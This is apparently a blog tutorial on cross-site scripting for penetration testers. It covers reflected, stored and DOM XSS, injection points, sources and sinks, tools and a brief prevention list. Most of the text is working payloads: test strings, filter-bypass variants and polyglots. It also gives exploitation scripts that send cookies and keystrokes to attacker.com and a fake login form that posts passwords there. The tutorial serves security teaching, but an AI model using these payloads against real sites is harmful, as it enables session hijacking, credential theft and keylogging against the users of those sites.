XSS Tutorial: Cross-Site Scripting Attacks Explained with Examples

Cross-Site Scripting (XSS) is one of the most common web application vulnerabilities. This tutorial explains how XSS works, the different types of XSS attacks, and how to find and exploit them during security assessments.

What is Cross-Site Scripting (XSS)?

XSS occurs when an application includes untrusted data in a web page without proper validation or escaping. This allows attackers to execute malicious scripts in victims’ browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.

Types of XSS

Reflected XSS

The malicious script comes from the current HTTP request. The payload is reflected off the web server in error messages, search results, or any response that includes user input.

# Vulnerable URL
http://target.com/search?q=<script>alert(1)</script>

# The server reflects the input in the response
<p>Search results for: <script>alert(1)</script></p>

Stored XSS

The malicious script is permanently stored on the target server (in a database, comment field, forum post, etc.). Every user who views the affected page executes the payload.

# Attacker submits this as a comment
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

# Every user viewing the comment page has their cookies stolen

DOM-Based XSS

The vulnerability exists in client-side code rather than server-side. The payload is executed as a result of modifying the DOM environment in the victim’s browser.

# Vulnerable JavaScript
var search = document.location.hash.substring(1);
document.getElementById("results").innerHTML = search;

# Attack URL
http://target.com/page#<img src=x onerror=alert(1)>

Finding XSS Vulnerabilities

Common Injection Points

  • Search boxes and search results
  • Comment and feedback forms
  • User profile fields (name, bio, etc.)
  • URL parameters
  • HTTP headers (User-Agent, Referer)
  • File upload names
  • Error messages

Basic Testing Payloads

# Simple alert
<script>alert(1)</script>
<script>alert('XSS')</script>

# Without script tags
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

# Event handlers
<div onmouseover=alert(1)>hover me</div>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>

# Breaking out of attributes
" onclick=alert(1)>
' onclick=alert(1)>
" onfocus=alert(1) autofocus="

# Breaking out of JavaScript strings
';alert(1)//
";alert(1)//
</script><script>alert(1)</script>

XSS Filter Bypass Techniques

Case Manipulation

<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x oNeRrOr=alert(1)>

Encoding

# URL encoding
%3Cscript%3Ealert(1)%3C/script%3E

# HTML encoding
<script>alert(1)</script>

# Unicode encoding
<script>\u0061lert(1)</script>

# Hex encoding
<script>alert(String.fromCharCode(88,83,83))</script>

Tag and Event Variations

# Different tags
<svg/onload=alert(1)>
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
<iframe src="javascript:alert(1)">
<object data="javascript:alert(1)">
<embed src="javascript:alert(1)">

# Different events
<body onpageshow=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<input onblur=alert(1) autofocus><input autofocus>

Bypassing Blacklists

# If "script" is blocked
<scr<script>ipt>alert(1)</scr</script>ipt>

# If "alert" is blocked
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>[].constructor.constructor('alert(1)')()</script>

# If parentheses are blocked
<script>alert`1`</script>
<img src=x onerror=alert`1`>

# If spaces are blocked
<svg/onload=alert(1)>
<img/src=x/onerror=alert(1)>

XSS Exploitation

Cookie Stealing

<script>
new Image().src="http://attacker.com/steal?c="+document.cookie;
</script>

<script>
fetch('http://attacker.com/steal?c='+document.cookie);
</script>

<img src=x onerror="this.src='http://attacker.com/steal?c='+document.cookie">

Session Hijacking

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/log?cookie='+document.cookie, true);
xhr.send();
</script>

Keylogging

<script>
document.onkeypress = function(e) {
  new Image().src = "http://attacker.com/log?key=" + e.key;
}
</script>

Phishing

<script>
document.body.innerHTML = '<h1>Session Expired</h1><form action="http://attacker.com/phish" method="POST">Username: <input name="user"><br>Password: <input type="password" name="pass"><br><input type="submit" value="Login"></form>';
</script>

DOM XSS Sources and Sinks

Common Sources (User Input)

document.URL
document.documentURI
document.referrer
location.href
location.search
location.hash
window.name

Common Sinks (Dangerous Functions)

# HTML sinks
element.innerHTML
element.outerHTML
document.write()
document.writeln()

# JavaScript execution sinks
eval()
setTimeout()
setInterval()
Function()

# Location sinks
location.href
location.assign()
location.replace()

XSS Testing Tools

Browser Developer Tools

Use the browser console to test JavaScript execution and inspect the DOM for injection points.

Burp Suite

Intercept requests and modify parameters to inject XSS payloads. The Scanner (Pro) can automatically detect XSS vulnerabilities.

XSS Hunter

A tool for finding blind XSS vulnerabilities. It provides payloads that call back to your server when executed.

XSS Polyglots

Polyglots are payloads designed to execute in multiple contexts:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\\x3e

'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'>"></script><script>alert(1)</script>">'><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23telerikWebUI.Page_ClientState=)>'">

Prevention Overview

Understanding prevention helps identify where developers may have made mistakes:

  • Output encoding: Encode data based on context (HTML, JavaScript, URL, CSS)
  • Content Security Policy (CSP): Restrict script execution sources
  • HttpOnly cookies: Prevent JavaScript access to session cookies
  • Input validation: Whitelist allowed characters where possible
  • Modern frameworks: React, Angular, and Vue auto-escape by default

Summary

XSS remains one of the most prevalent web vulnerabilities. Mastering different payload types, filter bypasses, and exploitation techniques is essential for web application penetration testing. Always test with authorization and report vulnerabilities responsibly.

Written by

Window Events

Leave a Reply

Your email address will not be published. Required fields are marked *